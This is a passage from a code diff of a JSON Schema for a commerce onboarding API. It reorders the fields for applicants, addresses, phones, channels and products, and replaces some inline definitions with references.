b/rust/schemas/api/onboarding.json @@ -38,6 +38,9 @@ "allOf": [ { "properties": { + "links": { + "$ref": "./common-types/link-description.json" + }, "totalItems": { "description": "The total number of applications found", "type": "integer" @@ -45,465 +48,424 @@ "totalPages": { "description": "The total number of pages per grouped applications", "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] } } } ], "properties": { "items": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Onboarding Application", - "type": "object", "description": "This model represents the application which is use to begin the onboarding process", "properties": { + "channel": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An abstraction of data to create a channel", + "properties": { + "externalChannelId": { + "description": "Unique ID what represents an external resource", + "maxLength": 36, + "type": "string" + }, + "externalChannelType": { + "description": "A term what represents the external channel id", + "maxLength": 128, + "type": "string" + }, + "id": { + "description": "Unique ID for the channel", + "readOnly": true, + "type": "string" + }, + "name": { + "description": "Channel name", + "maxLength": 128, + "minLength": 3, + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Channel", + "type": "object" + }, + "commerceAccountFeatures": { + "description": "Optional capabilities/functionalities associated with commerce account", + "items": { + "default": [], + "enum": [ + "NO_EMAIL_COMMUNICATIONS" + ], + "type": "string" + }, + "type": "array" + }, + "company": { + "$ref": "./Company.yaml" + }, "id": { "description": "Unique ID for the application", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "individuals": { "description": "A list of applicants", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/individual.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Individual", "description": "Business account owner or the person filling out the application (applicant)", - "type": "object", "properties": { - "id": { - "description": "Unique ID for the Individual", - "type": "string", - "readOnly": true - }, "address": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, "customerId": { "description": "Unique ID for GoDaddy customer", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "email": { "$id": "https://godaddy.com/schemas/common/email-address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", - "type": "string", - "minLength": 3, "maxLength": 254, - "pattern": "^.+@[^\"\\-].+$" + "minLength": 3, + "pattern": "^.+@[^\"\\-].+$", + "type": "string" + }, + "firstName": { + "description": "First name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "id": { + "description": "Unique ID for the Individual", + "readOnly": true, + "type": "string" + }, + "ip": { + "description": "IP Address of the applicant", + "format": "ipv4", + "type": "string" + }, + "lastName": { + "description": "Last name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "leadId": { + "description": "Unique Lead ID", + "maxLength": 64, + "type": "string" }, "phone": { "$id": "https://godaddy.com/schemas/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] - }, - "firstName": { - "description": "First name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "ip": { - "description": "IP Address of the applicant", - "type": "string", - "format": "ipv4" - }, - "lastName": { - "description": "Last name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "leadId": { - "description": "Unique Lead ID", - "type": "string", - "maxLength": 64 + ], + "title": "Phone", + "type": "object" }, "type": { - "description": "Type of applicant", - "type": "string", "default": "APPLICANT", + "description": "Type of applicant", "enum": [ "APPLICANT", "OWNER", "OWNER_APPLICANT" - ] + ], + "type": "string" }, "userId": { "description": "Unique User ID", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "visitorId": { "description": "The visitor id that was created during an anonymous visit", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, "required": [ "email" - ] - } - }, - "company": null, - "store": null, - "channel": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "description": "An abstraction of data to create a channel", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the channel", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Channel name", - "type": "string", - "minLength": 3, - "maxLength": 128 - }, - "externalChannelId": { - "description": "Unique ID what represents an external resource", - "type": "string", - "maxLength": 36 - }, - "externalChannelType": { - "description": "A term what represents the external channel id", - "type": "string", - "maxLength": 128 - } + ], + "title": "Individual", + "type": "object" }, - "required": [ - "name" - ] + "type": "array" + }, + "intent": { + "default": "CREATE_BUSINESS", + "description": "Identifies the type of onboarding application that is being requested for the commerce account", + "enum": [ + "CREATE_BUSINESS", + "ADD_STORE", + "ADD_CHANNEL", + "ADD_PRODUCT" + ], + "type": "string" }, "metadata": { "description": "Additional parameters to create a specific type of application", - "type": "object", "properties": { - "businessId": { - "description": "Unique ID for the business", - "type": "string", - "format": "uuid" - }, - "storeId": { - "description": "Unique ID for the store", - "type": "string", - "format": "uuid" + "applicationLevel": { + "description": "Current Application Level — i.e. BASIC, FULL", + "enum": [ + "BASIC", + "FULL" + ], + "readOnly": true, + "type": "string" }, - "channelId": { - "description": "Unique ID for the channel", - "type": "string", - "format": "uuid" + "applicationStatus": { + "description": "The current status of the application", + "enum": [ + "INCOMPLETE", + "PENDING_FULL_APPLICATION", + "IN_REVIEW", + "APPROVED", + "DECLINED" + ], + "readOnly": true, + "type": "string" + }, + "businessId": { + "description": "Unique ID for the business", + "format": "uuid", + "type": "string" + }, + "channelId": { + "description": "Unique ID for the channel", + "format": "uuid", + "type": "string" }, "context": { "description": "Header context", - "type": "string", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "medium": { "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", - "type": "string", - "maxLength": 64 - }, - "source": { - "description": "The point of origin that started this process", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "referralUrlId": { "description": "The ID what was setup for a Distributor Merchant URL", - "type": "string", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, - "applicationLevel": { - "description": "Current Application Level — i.e. BASIC, FULL", - "type": "string", - "readOnly": true, - "enum": [ - "BASIC", - "FULL" - ] + "source": { + "description": "The point of origin that started this process", + "maxLength": 64, + "type": "string" }, - "applicationStatus": { - "description": "The current status of the application", - "type": "string", - "readOnly": true, - "enum": [ - "INCOMPLETE", - "PENDING_FULL_APPLICATION", - "IN_REVIEW", - "APPROVED", - "DECLINED" - ] + "storeId": { + "description": "Unique ID for the store", + "format": "uuid", + "type": "string" } - } - }, - "intent": { - "description": "Identifies the type of onboarding application that is being requested for the commerce account", - "type": "string", - "default": "CREATE_BUSINESS", - "enum": [ - "CREATE_BUSINESS", - "ADD_STORE", - "ADD_CHANNEL", - "ADD_PRODUCT" - ] + }, + "type": "object" }, "products": { "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Product", "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "object", "properties": { + "features": { + "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", + "items": { + "default": [], + "enum": [ + "TIP_ENABLED" + ], + "type": "string" + }, + "type": "array" + }, "id": { "description": "Unique ID for the product", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "name": { "description": "Product name", - "type": "string", "enum": [ "PAYMENTS" - ] - }, - "features": { - "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "TIP_ENABLED" - ] - } + ], + "type": "string" } - } - } + }, + "title": "Product", + "type": "object" + }, + "type": "array" }, - "commerceAccountFeatures": { - "description": "Optional capabilities/functionalities associated with commerce account", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "NO_EMAIL_COMMUNICATIONS" - ] - } + "store": { + "$ref": "./Store.yaml" } }, "required": [ "intent" - ] - } + ], + "title": "Onboarding Application", + "type": "object" + }, + "type": "array" } } } @@ -527,8 +489,8 @@ "required": false, "description": "Test account", "schema": { - "type": "boolean", - "default": false + "default": false, + "type": "boolean" } }, { @@ -537,8 +499,8 @@ "required": false, "description": "When false, the application will be created without processing", "schema": { - "type": "boolean", - "default": true + "default": true, + "type": "boolean" } } ], @@ -548,1022 +510,834 @@ "schema": { "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Onboarding Application", - "type": "object", "description": "This model represents the application which is use to begin the onboarding process", "properties": { + "channel": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An abstraction of data to create a channel", + "properties": { + "externalChannelId": { + "description": "Unique ID what represents an external resource", + "maxLength": 36, + "type": "string" + }, + "externalChannelType": { + "description": "A term what represents the external channel id", + "maxLength": 128, + "type": "string" + }, + "id": { + "description": "Unique ID for the channel", + "readOnly": true, + "type": "string" + }, + "name": { + "description": "Channel name", + "maxLength": 128, + "minLength": 3, + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Channel", + "type": "object" + }, + "commerceAccountFeatures": { + "description": "Optional capabilities/functionalities associated with commerce account", + "items": { + "default": [], + "enum": [ + "NO_EMAIL_COMMUNICATIONS" + ], + "type": "string" + }, + "type": "array" + }, + "company": { + "$ref": "./Company.yaml" + }, "id": { "description": "Unique ID for the application", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "individuals": { "description": "A list of applicants", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/individual.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Individual", "description": "Business account owner or the person filling out the application (applicant)", - "type": "object", "properties": { - "id": { - "description": "Unique ID for the Individual", - "type": "string", - "readOnly": true - }, "address": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, "customerId": { "description": "Unique ID for GoDaddy customer", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "email": { "$id": "https://godaddy.com/schemas/common/email-address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", - "type": "string", - "minLength": 3, "maxLength": 254, - "pattern": "^.+@[^\"\\-].+$" + "minLength": 3, + "pattern": "^.+@[^\"\\-].+$", + "type": "string" + }, + "firstName": { + "description": "First name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "id": { + "description": "Unique ID for the Individual", + "readOnly": true, + "type": "string" + }, + "ip": { + "description": "IP Address of the applicant", + "format": "ipv4", + "type": "string" + }, + "lastName": { + "description": "Last name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "leadId": { + "description": "Unique Lead ID", + "maxLength": 64, + "type": "string" }, "phone": { "$id": "https://godaddy.com/schemas/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, 